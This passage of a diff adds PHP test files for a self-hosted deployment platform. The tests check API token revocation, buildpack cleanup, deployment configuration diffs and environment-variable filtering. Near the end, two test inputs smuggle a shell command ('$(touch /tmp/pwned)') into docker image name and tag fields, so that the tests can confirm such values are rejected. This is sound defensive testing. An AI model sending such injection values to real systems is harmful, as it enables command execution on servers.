expect(Project::where('name', 'Downgrade Bypass')->exists())->toBeFalse();
});
test('admin removal through team member component revokes team tokens', function () {
$owner = User::factory()->create();
$this->team->members()->attach($owner->id, ['role' => 'owner']);
$token = $this->user->createToken('read-token', ['read'])->accessToken;
$this->actingAs($owner);
session(['currentTeam' => $this->team]);
Livewire::test(Member::class, ['member' => $this->user])
->call('remove');
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
});
test('role downgrade through team member component revokes team tokens', function () {
$owner = User::factory()->create();
$this->team->members()->attach($owner->id, ['role' => 'owner']);
$token = $this->user->createToken('write-token', ['write'])->accessToken;
$this->actingAs($owner);
session(['currentTeam' => $this->team]);
Livewire::test(Member::class, ['member' => $this->user])
->call('makeReadonly');
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
});
test('member cannot create write token through livewire token form', function () {
$this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
Livewire::test(ApiTokens::class)
->set('description', 'member-write-token')
->set('expiresInDays', 30)
->set('permissions', ['write'])
->call('addNewToken');
expect($this->user->tokens()->where('name', 'member-write-token')->exists())->toBeFalse();
});
test('password change revokes user personal access tokens', function () {
$token = $this->user->createToken('read-token', ['read'])->accessToken;
$this->user->forceFill(['password' => Hash::make('new-password')])->save();
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
});
test('team deletion revokes team bound personal access tokens', function () {
$token = $this->user->createToken('read-token', ['read'])->accessToken;
$this->team->delete();
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
});
@@ -78,26 +78,29 @@ describe('Application Model Buildpack Cleanup', function () {
// Add environment variables that should be deleted
EnvironmentVariable::create([
'application_id' => $application->id,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'SERVICE_FQDN_APP',
'value' => 'app.example.com',
'is_build_time' => false,
'is_buildtime' => false,
'is_preview' => false,
]);
EnvironmentVariable::create([
'application_id' => $application->id,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'SERVICE_URL_APP',
'value' => 'http://app.example.com',
'is_build_time' => false,
'is_buildtime' => false,
'is_preview' => false,
]);
EnvironmentVariable::create([
'application_id' => $application->id,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'REGULAR_VAR',
'value' => 'should_remain',
'is_build_time' => false,
'is_buildtime' => false,
'is_preview' => false,
]);
@@ -117,6 +120,87 @@ describe('Application Model Buildpack Cleanup', function () {
expect($application->environment_variables()->where('key', 'REGULAR_VAR')->count())->toBe(1);
});
test('model clears dockerfile fields when build_pack changes from dockerfile to railpack', function () {
$team = Team::factory()->create();
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$application = Application::factory()->create([
'environment_id' => $environment->id,
'build_pack' => 'dockerfile',
'dockerfile' => 'FROM node:18',
'dockerfile_location' => '/Dockerfile',
'dockerfile_target_build' => 'production',
'custom_healthcheck_found' => true,
]);
$application->build_pack = 'railpack';
$application->save();
$application->refresh();
expect($application->build_pack)->toBe('railpack');
expect($application->dockerfile)->toBeNull();
expect($application->dockerfile_location)->toBeNull();
expect($application->dockerfile_target_build)->toBeNull();
expect($application->custom_healthcheck_found)->toBeFalse();
});
test('model clears dockercompose fields when build_pack changes from dockercompose to railpack', function () {
$team = Team::factory()->create();
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$application = Application::factory()->create([
'environment_id' => $environment->id,
'build_pack' => 'dockercompose',
'docker_compose_domains' => '{"app": "example.com"}',
'docker_compose_raw' => 'version: "3.8"\nservices:\n app:\n image: nginx',
]);
// Add environment variables that should be deleted
EnvironmentVariable::create([
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'SERVICE_FQDN_APP',
'value' => 'app.example.com',
'is_buildtime' => false,
'is_preview' => false,
]);
EnvironmentVariable::create([
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'SERVICE_URL_APP',
'value' => 'http://app.example.com',
'is_buildtime' => false,
'is_preview' => false,
]);
EnvironmentVariable::create([
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'REGULAR_VAR',
'value' => 'should_remain',
'is_buildtime' => false,
'is_preview' => false,
]);
$application->build_pack = 'railpack';
$application->save();
$application->refresh();
expect($application->build_pack)->toBe('railpack');
expect($application->docker_compose_domains)->toBeNull();
expect($application->docker_compose_raw)->toBeNull();
// Verify SERVICE_FQDN_* and SERVICE_URL_* were deleted
expect($application->environment_variables()->where('key', 'SERVICE_FQDN_APP')->count())->toBe(0);
expect($application->environment_variables()->where('key', 'SERVICE_URL_APP')->count())->toBe(0);
// Verify regular variables remain
expect($application->environment_variables()->where('key', 'REGULAR_VAR')->count())->toBe(1);
});
test('model does not clear dockerfile fields when switching to dockerfile', function () {
$team = Team::factory()->create();
$project = Project::factory()->create(['team_id' => $team->id]);
@@ -156,6 +240,27 @@ describe('Application Model Buildpack Cleanup', function () {
expect($application->dockerfile)->toBeNull();
});
test('dockerfile location defaults only for dockerfile buildpack', function () {
$team = Team::factory()->create();
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$nixpacksApplication = Application::factory()->create([
'environment_id' => $environment->id,
'build_pack' => 'nixpacks',
'dockerfile_location' => null,
]);
$dockerfileApplication = Application::factory()->create([
'environment_id' => $environment->id,
'build_pack' => 'dockerfile',
'dockerfile_location' => null,
]);
expect($nixpacksApplication->refresh()->dockerfile_location)->toBeNull();
expect($dockerfileApplication->refresh()->dockerfile_location)->toBe('/Dockerfile');
});
test('model does not trigger cleanup when build_pack is not changed', function () {
$team = Team::factory()->create();
$project = Project::factory()->create(['team_id' => $team->id]);
@@ -0,0 +1,101 @@
<?php
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\Project;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Str;
uses(RefreshDatabase::class);
function configurationChangedTestApplication(array $attributes = []): Application
{
$team = Team::factory()->create();
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
return Application::factory()->create(array_merge([
'environment_id' => $environment->id,
'status' => 'running:healthy',
'build_command' => 'npm run build',
], $attributes));
}
function configurationChangedDeployment(Application $application): ApplicationDeploymentQueue
{
return ApplicationDeploymentQueue::create([
'application_id' => (string) $application->id,
'deployment_uuid' => (string) Str::uuid(),
'status' => 'finished',
'commit' => 'HEAD',
]);
}
it('stores deployment configuration snapshot and clears pending changes', function () {
$application = configurationChangedTestApplication();
$deployment = configurationChangedDeployment($application);
$application->markDeploymentConfigurationApplied($deployment);
expect($deployment->refresh()->configuration_hash)->not->toBeNull()
->and($deployment->configuration_snapshot)->toBeArray()
->and($application->refresh()->pendingDeploymentConfigurationDiff()->isChanged())->toBeFalse();
});
it('stores a diff between successful deployments', function () {
$application = configurationChangedTestApplication();
$firstDeployment = configurationChangedDeployment($application);
$application->markDeploymentConfigurationApplied($firstDeployment);
$application->update(['build_command' => 'pnpm build']);
$secondDeployment = configurationChangedDeployment($application->refresh());
$application->markDeploymentConfigurationApplied($secondDeployment);
expect($secondDeployment->refresh()->configuration_diff['count'])->toBe(1)
->and(data_get($secondDeployment->configuration_diff, 'changes.0.label'))->toBe('Build command');
});
it('checks legacy preview deployment configuration hash using preview environment variable query', function () {
$application = configurationChangedTestApplication();
EnvironmentVariable::create([
'key' => 'APP_ENV',
'value' => 'preview',
'is_preview' => true,
'is_multiline' => false,
'is_literal' => false,
'is_buildtime' => true,
'is_runtime' => true,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
$application->forceFill([
'config_hash' => 'legacy-hash',
'pull_request_id' => 123,
]);
$diff = $application->pendingDeploymentConfigurationDiff();
expect($diff->isChanged())->toBeTrue()
->and($diff->count())->toBeGreaterThan(0);
});
it('falls back to real diff against empty snapshot when no deployment snapshot exists', function () {
$application = configurationChangedTestApplication();
$application->isConfigurationChanged(save: true);
expect($application->refresh()->pendingDeploymentConfigurationDiff()->isChanged())->toBeFalse();
$application->update(['build_command' => 'pnpm build']);
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
expect($diff->isChanged())->toBeTrue()
->and($diff->isLegacyFallback())->toBeFalse()
->and($diff->count())->toBeGreaterThan(0)
->and(collect($diff->changes())->pluck('label')->toArray())->toContain('Build command');
});
@@ -0,0 +1,150 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Str;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$plainTextToken = Str::random(40);
$token = $this->user->tokens()->create([
'name' => 'custom-nginx-api-test-'.Str::random(6),
'token' => hash('sha256', $plainTextToken),
'abilities' => ['*'],
'team_id' => $this->team->id,
]);
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function customNginxApiHeaders(string $bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
];
}
function customNginxConfig(): string
{
return <<<'NGINX'
server {
listen 80;
location / {
try_files $uri $uri/ /index.html;
}
}
NGINX;
}
function makeCustomNginxApplication(array $overrides = []): Application
{
return Application::factory()->create(array_merge([
'environment_id' => test()->environment->id,
'destination_id' => test()->destination->id,
'destination_type' => test()->destination->getMorphClass(),
'build_pack' => 'static',
], $overrides));
}
describe('PATCH /api/v1/applications/{uuid} custom_nginx_configuration', function () {
test('decodes base64 custom nginx configuration before storing it', function () {
$application = makeCustomNginxApplication();
$configuration = customNginxConfig();
$encodedConfiguration = base64_encode($configuration);
$response = $this->withHeaders(customNginxApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}", [
'custom_nginx_configuration' => $encodedConfiguration,
]);
$response->assertOk();
$application->refresh();
expect($application->custom_nginx_configuration)->toBe($configuration);
$storedConfiguration = DB::table('applications')
->where('id', $application->id)
->value('custom_nginx_configuration');
expect($storedConfiguration)->toBe(base64_encode($configuration));
$this->withHeaders(customNginxApiHeaders($this->bearerToken))
->getJson("/api/v1/applications/{$application->uuid}")
->assertOk()
->assertJsonPath('custom_nginx_configuration', $configuration);
});
test('rejects custom nginx configuration that is not base64 encoded', function () {
$application = makeCustomNginxApplication();
$response = $this->withHeaders(customNginxApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}", [
'custom_nginx_configuration' => customNginxConfig(),
]);
$response->assertUnprocessable()
->assertJsonPath('errors.custom_nginx_configuration', 'The custom_nginx_configuration should be base64 encoded.');
});
test('can clear custom nginx configuration with null', function () {
$application = makeCustomNginxApplication([
'custom_nginx_configuration' => customNginxConfig(),
]);
$response = $this->withHeaders(customNginxApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}", [
'custom_nginx_configuration' => null,
]);
$response->assertOk();
$application->refresh();
expect($application->custom_nginx_configuration)->toBeNull();
});
});
describe('POST /api/v1/applications/public custom_nginx_configuration', function () {
test('decodes base64 custom nginx configuration before storing it on create', function () {
$configuration = customNginxConfig();
$response = $this->withHeaders(customNginxApiHeaders($this->bearerToken))
->postJson('/api/v1/applications/public', [
'project_uuid' => $this->project->uuid,
'environment_uuid' => $this->environment->uuid,
'server_uuid' => $this->server->uuid,
'git_repository' => 'https://gitlab.com/coolify/test-static-app',
'git_branch' => 'main',
'build_pack' => 'static',
'ports_exposes' => '80',
'custom_nginx_configuration' => base64_encode($configuration),
'autogenerate_domain' => false,
]);
$response->assertCreated();
$application = Application::where('uuid', $response->json('uuid'))->firstOrFail();
expect($application->custom_nginx_configuration)->toBe($configuration);
});
});
@@ -0,0 +1,509 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\ApplicationPreview;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\Project;
use App\Models\Server;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Collection;
uses(RefreshDatabase::class);
class TestableControlVarFilteringDeploymentJob extends ApplicationDeploymentJob
{
public array $recordedCommands = [];
public ?string $writtenDockerfile = null;
public function __construct() {}
public function execute_remote_command(...$commands)
{
$this->recordedCommands[] = $commands;
foreach ($commands as $command) {
$commandString = is_array($command) ? ($command['command'] ?? $command[0] ?? null) : $command;
if (! is_string($commandString)) {
continue;
}
if (preg_match('/echo .*?([A-Za-z0-9+\\/=]{16,}).*?\\| base64 -d \\| tee \\/artifacts\\/test-app\\/Dockerfile > \\/dev\\/null/', $commandString, $matches) === 1) {
$this->writtenDockerfile = base64_decode($matches[1]) ?: null;
}
}
}
}
function makeDeploymentControlVarFixture(array $applicationAttributes = []): array
{
$team = Team::create([
'name' => 'Control Var Team',
'description' => 'Team for deployment control var tests.',
'personal_team' => false,
'show_boarding' => false,
]);
$project = Project::create([
'name' => 'Control Var Project',
'team_id' => $team->id,
]);
$environment = Environment::where('project_id', $project->id)->firstOrFail();
$server = Server::factory()->create([
'team_id' => $team->id,
]);
$application = Application::factory()->create([
'environment_id' => $environment->id,
'build_pack' => 'dockerfile',
...$applicationAttributes,
]);
$application->settings()->update([
'inject_build_args_to_dockerfile' => true,
'include_source_commit_in_build' => false,
'is_env_sorting_enabled' => false,
]);
return [$application->fresh(), $server];
}
function createApplicationEnvironmentVariable(Application $application, array $attributes): EnvironmentVariable
{
return EnvironmentVariable::create([
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'is_preview' => false,
'is_runtime' => true,
'is_buildtime' => true,
'is_multiline' => false,
'is_literal' => false,
...$attributes,
]);
}
function makeControlVarFilteringJob(Application $application, Server $server, array $overrides = []): array
{
$job = new TestableControlVarFilteringDeploymentJob;
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$queue = Mockery::mock(ApplicationDeploymentQueue::class);
$queue->shouldReceive('addLogEntry')->andReturnNull();
$properties = [
'application' => $application->fresh(),
'application_deployment_queue' => $queue,
'build_pack' => $application->build_pack,
'mainServer' => $server,
'pull_request_id' => 0,
'commit' => 'HEAD',
'workdir' => '/artifacts/test-app',
'deployment_uuid' => 'deployment-uuid',
'dockerfile_location' => '/Dockerfile',
'container_name' => 'control-var-app',
'coolify_variables' => null,
'dockerSecretsSupported' => false,
];
$mergedProperties = array_merge($properties, $overrides);
$mergedProperties['saved_outputs'] = new Collection($overrides['saved_outputs'] ?? []);
if (($mergedProperties['pull_request_id'] ?? 0) !== 0 && ! array_key_exists('preview', $mergedProperties)) {
$mergedProperties['preview'] = ApplicationPreview::create([
'application_id' => $application->id,
'pull_request_id' => $mergedProperties['pull_request_id'],
'pull_request_html_url' => 'https://example.com/pr/'.$mergedProperties['pull_request_id'],
'fqdn' => 'https://preview.example.com',
]);
}
foreach ($mergedProperties as $property => $value) {
$reflectionProperty = $reflection->getProperty($property);
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($job, $value);
}
return [$job, $reflection];
}
function invokeDeploymentJobMethod(object $job, ReflectionClass $reflection, string $method): mixed
{
$reflectionMethod = $reflection->getMethod($method);
$reflectionMethod->setAccessible(true);
return $reflectionMethod->invoke($job);
}
function readDeploymentJobProperty(object $job, ReflectionClass $reflection, string $property): mixed
{
$reflectionProperty = $reflection->getProperty($property);
$reflectionProperty->setAccessible(true);
return $reflectionProperty->getValue($job);
}
it('filters buildpack control vars from generic build args', function () {
[$application, $server] = makeDeploymentControlVarFixture();
createApplicationEnvironmentVariable($application, [
'key' => 'APP_ENV',
'value' => 'production',
]);
createApplicationEnvironmentVariable($application, [
'key' => 'NIXPACKS_NODE_VERSION',
'value' => '22',
]);
createApplicationEnvironmentVariable($application, [
'key' => 'RAILPACK_NODE_VERSION',
'value' => '20',
]);
[$job, $reflection] = makeControlVarFilteringJob($application, $server);
invokeDeploymentJobMethod($job, $reflection, 'generate_env_variables');
/** @var Collection $envArgs */
$envArgs = readDeploymentJobProperty($job, $reflection, 'env_args');
expect($envArgs->get('APP_ENV'))->toBe('production');
expect($envArgs->has('NIXPACKS_NODE_VERSION'))->toBeFalse();
expect($envArgs->has('RAILPACK_NODE_VERSION'))->toBeFalse();
});
it('filters buildpack control vars from preview build-time env files', function () {
[$application, $server] = makeDeploymentControlVarFixture();
createApplicationEnvironmentVariable($application, [
'key' => 'APP_ENV',
'value' => 'production',
'is_preview' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'NIXPACKS_NODE_VERSION',
'value' => '22',
'is_preview' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'RAILPACK_NODE_VERSION',
'value' => '20',
'is_preview' => true,
]);
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
'pull_request_id' => 42,
]);
/** @var Collection $buildtimeEnvs */
$buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('APP_ENV=')))->toBeTrue();
expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('NIXPACKS_NODE_VERSION=')))->toBeFalse();
expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('RAILPACK_NODE_VERSION=')))->toBeFalse();
});
it('does not let preview docker compose service names override generated build-time service names', function () {
$compose = <<<'YAML'
services:
app:
image: nginx
postgresapp:
image: postgres:16-alpine
YAML;
[$application, $server] = makeDeploymentControlVarFixture([
'build_pack' => 'dockercompose',
'docker_compose_raw' => $compose,
'docker_compose' => $compose,
'docker_compose_domains' => '[]',
]);
createApplicationEnvironmentVariable($application, [
'key' => 'SERVICE_NAME_POSTGRESAPP',
'value' => '',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'SERVICE_URL_APP',
'value' => '',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => true,
]);
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
'pull_request_id' => 241,
]);
/** @var Collection $buildtimeEnvs */
$buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
$envString = $buildtimeEnvs->implode("\n");
expect($envString)->toContain("SERVICE_NAME_POSTGRESAPP='postgresapp-pr-241'");
expect($envString)->not->toContain('SERVICE_NAME_POSTGRESAPP=""');
expect($envString)->not->toContain('SERVICE_URL_APP=');
});
it('does not let production docker compose service names override generated build-time service names', function () {
$compose = <<<'YAML'
services:
app:
image: nginx
postgresapp:
image: postgres:16-alpine
YAML;
[$application, $server] = makeDeploymentControlVarFixture([
'build_pack' => 'dockercompose',
'docker_compose_raw' => $compose,
'docker_compose' => $compose,
'docker_compose_domains' => '[]',
]);
createApplicationEnvironmentVariable($application, [
'key' => 'SERVICE_NAME_POSTGRESAPP',
'value' => 'stale-postgresapp',
'is_runtime' => true,
'is_buildtime' => true,
]);
[$job, $reflection] = makeControlVarFilteringJob($application, $server);
/** @var Collection $buildtimeEnvs */
$buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
$envString = $buildtimeEnvs->implode("\n");
expect($envString)->toContain("SERVICE_NAME_POSTGRESAPP='postgresapp'");
expect($envString)->not->toContain('stale-postgresapp');
});
it('filters docker compose generated service variables from build args', function () {
[$application, $server] = makeDeploymentControlVarFixture([
'build_pack' => 'dockercompose',
]);
createApplicationEnvironmentVariable($application, [
'key' => 'APP_ENV',
'value' => 'production',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'SERVICE_NAME_POSTGRESAPP',
'value' => '',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'SERVICE_URL_APP',
'value' => 'https://preview.example.com',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => true,
]);
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
'pull_request_id' => 241,
]);
invokeDeploymentJobMethod($job, $reflection, 'generate_env_variables');
/** @var Collection $envArgs */
$envArgs = readDeploymentJobProperty($job, $reflection, 'env_args');
expect($envArgs->get('APP_ENV'))->toBe('production');
expect($envArgs->has('SERVICE_NAME_POSTGRESAPP'))->toBeFalse();
expect($envArgs->has('SERVICE_URL_APP'))->toBeFalse();
});
it('filters buildpack control vars from preview runtime env fallback', function () {
[$application, $server] = makeDeploymentControlVarFixture();
createApplicationEnvironmentVariable($application, [
'key' => 'APP_NAME',
'value' => 'coolify',
'is_runtime' => true,
'is_buildtime' => false,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'NIXPACKS_NODE_VERSION',
'value' => '22',
'is_runtime' => true,
'is_buildtime' => false,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'RAILPACK_NODE_VERSION',
'value' => '20',
'is_runtime' => true,
'is_buildtime' => false,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'PREVIEW_FLAG',
'value' => 'enabled',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => false,
]);
$application->environment_variables_preview()
->whereIn('key', ['APP_NAME', 'NIXPACKS_NODE_VERSION', 'RAILPACK_NODE_VERSION'])
->delete();
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
'pull_request_id' => 99,
]);
/** @var Collection $runtimeEnvs */
$runtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_runtime_environment_variables');
expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('APP_NAME=')))->toBeTrue();
expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('PREVIEW_FLAG=')))->toBeTrue();
expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('NIXPACKS_NODE_VERSION=')))->toBeFalse();
expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('RAILPACK_NODE_VERSION=')))->toBeFalse();
});
it('filters buildpack control vars from dockerfile arg injection', function () {
[$application, $server] = makeDeploymentControlVarFixture();
createApplicationEnvironmentVariable($application, [
'key' => 'APP_ENV',
'value' => 'production',
'is_runtime' => false,
'is_buildtime' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'NIXPACKS_NODE_VERSION',
'value' => '22',
'is_runtime' => false,
'is_buildtime' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'RAILPACK_NODE_VERSION',
'value' => '20',
'is_runtime' => false,
'is_buildtime' => true,
]);
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
'saved_outputs' => [
'dockerfile' => "FROM php:8.4-cli\nRUN php -v",
],
]);
invokeDeploymentJobMethod($job, $reflection, 'add_build_env_variables_to_dockerfile');
expect($job->writtenDockerfile)->toContain('ARG APP_ENV=production');
expect($job->writtenDockerfile)->not->toContain('ARG NIXPACKS_NODE_VERSION=');
expect($job->writtenDockerfile)->not->toContain('ARG RAILPACK_NODE_VERSION=');
});
it('builds railpack variables from generic buildtime vars railpack vars and coolify vars only', function () {
[$application, $server] = makeDeploymentControlVarFixture([
'build_pack' => 'railpack',
'fqdn' => 'https://railpack.example.com',
'install_command' => 'pnpm install --frozen-lockfile',
]);
createApplicationEnvironmentVariable($application, [
'key' => 'APP_ENV',
'value' => 'production',
'is_runtime' => false,
'is_buildtime' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'RUNTIME_ONLY',
'value' => 'runtime',
'is_runtime' => true,
'is_buildtime' => false,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'NIXPACKS_NODE_VERSION',
'value' => '22',
'is_runtime' => false,
'is_buildtime' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'RAILPACK_NODE_VERSION',
'value' => '20',
'is_runtime' => false,
'is_buildtime' => true,
]);
[$job, $reflection] = makeControlVarFilteringJob($application->fresh(), $server, [
'build_pack' => 'railpack',
'branch' => 'main',
]);
/** @var Collection $variables */
$variables = invokeDeploymentJobMethod($job, $reflection, 'railpack_build_variables');
expect($variables->get('APP_ENV'))->toBe('production');
expect($variables->get('RAILPACK_NODE_VERSION'))->toBe('20');
expect($variables->get('RAILPACK_INSTALL_CMD'))->toBe('pnpm install --frozen-lockfile');
expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('curl wget');
expect($variables->get('COOLIFY_RESOURCE_UUID'))->toBe($application->uuid);
expect($variables->has('NIXPACKS_NODE_VERSION'))->toBeFalse();
expect($variables->has('RUNTIME_ONLY'))->toBeFalse();
});
it('builds preview railpack variables without leaking stale nixpacks vars', function () {
[$application, $server] = makeDeploymentControlVarFixture([
'build_pack' => 'railpack',
'fqdn' => 'https://railpack.example.com',
]);
createApplicationEnvironmentVariable($application, [
'key' => 'PREVIEW_BUILD_FLAG',
'value' => 'enabled',
'is_preview' => true,
'is_runtime' => false,
'is_buildtime' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'PREVIEW_RUNTIME_ONLY',
'value' => 'runtime',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => false,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'NIXPACKS_NODE_VERSION',
'value' => '22',
'is_preview' => true,
'is_runtime' => false,
'is_buildtime' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'RAILPACK_NODE_VERSION',
'value' => '20',
'is_preview' => true,
'is_runtime' => false,
'is_buildtime' => true,
]);
[$job, $reflection] = makeControlVarFilteringJob($application->fresh(), $server, [
'build_pack' => 'railpack',
'branch' => 'feature/railpack',
'pull_request_id' => 123,
]);
/** @var Collection $variables */
$variables = invokeDeploymentJobMethod($job, $reflection, 'railpack_build_variables');
expect($variables->get('PREVIEW_BUILD_FLAG'))->toBe('enabled');
expect($variables->get('RAILPACK_NODE_VERSION'))->toBe('20');
expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('curl wget');
expect($variables->get('COOLIFY_RESOURCE_UUID'))->toBe($application->uuid);
expect($variables->has('NIXPACKS_NODE_VERSION'))->toBeFalse();
expect($variables->has('PREVIEW_RUNTIME_ONLY'))->toBeFalse();
});
@@ -0,0 +1,108 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Str;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$plainTextToken = Str::random(40);
$token = $this->user->tokens()->create([
'name' => 'docker-registry-validation-api-test-'.Str::random(6),
'token' => hash('sha256', $plainTextToken),
'abilities' => ['*'],
'team_id' => $this->team->id,
]);
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::factory()->create([
'server_id' => $this->server->id,
'network' => 'coolify-'.Str::lower(Str::random(8)),
]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function dockerRegistryApiHeaders(string $bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
];
}
function makeDockerRegistryValidationApplication(array $overrides = []): Application
{
return Application::factory()->create(array_merge([
'environment_id' => test()->environment->id,
'destination_id' => test()->destination->id,
'destination_type' => test()->destination->getMorphClass(),
'build_pack' => 'nixpacks',
'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
'docker_registry_image_tag' => 'latest',
], $overrides));
}
describe('PATCH /api/v1/applications/{uuid} docker registry image validation', function () {
test('rejects shell metacharacters in docker registry image name without persisting them', function () {
$application = makeDockerRegistryValidationApplication();
$response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}", [
'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)',
'docker_registry_image_tag' => 'latest',
]);
$response->assertUnprocessable()
->assertInvalid(['docker_registry_image_name']);
$application->refresh();
expect($application->docker_registry_image_name)->toBe('ghcr.io/coollabsio/example')
->and($application->docker_registry_image_tag)->toBe('latest');
});
test('rejects shell metacharacters in docker registry image tag without persisting them', function () {
$application = makeDockerRegistryValidationApplication();
$response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}", [
'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
'docker_registry_image_tag' => 'latest$(touch /tmp/pwned)',
]);
$response->assertUnprocessable()
->assertInvalid(['docker_registry_image_tag']);
$application->refresh();
expect($application->docker_registry_image_name)->toBe('ghcr.io/coollabsio/example')
->and($application->docker_registry_image_tag)->toBe('latest');
});
test('accepts valid docker registry image values', function () {
$application = makeDockerRegistryValidationApplication();
$response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}", [
'docker_registry_image_name' => 'registry.example.com:5000/team/app',
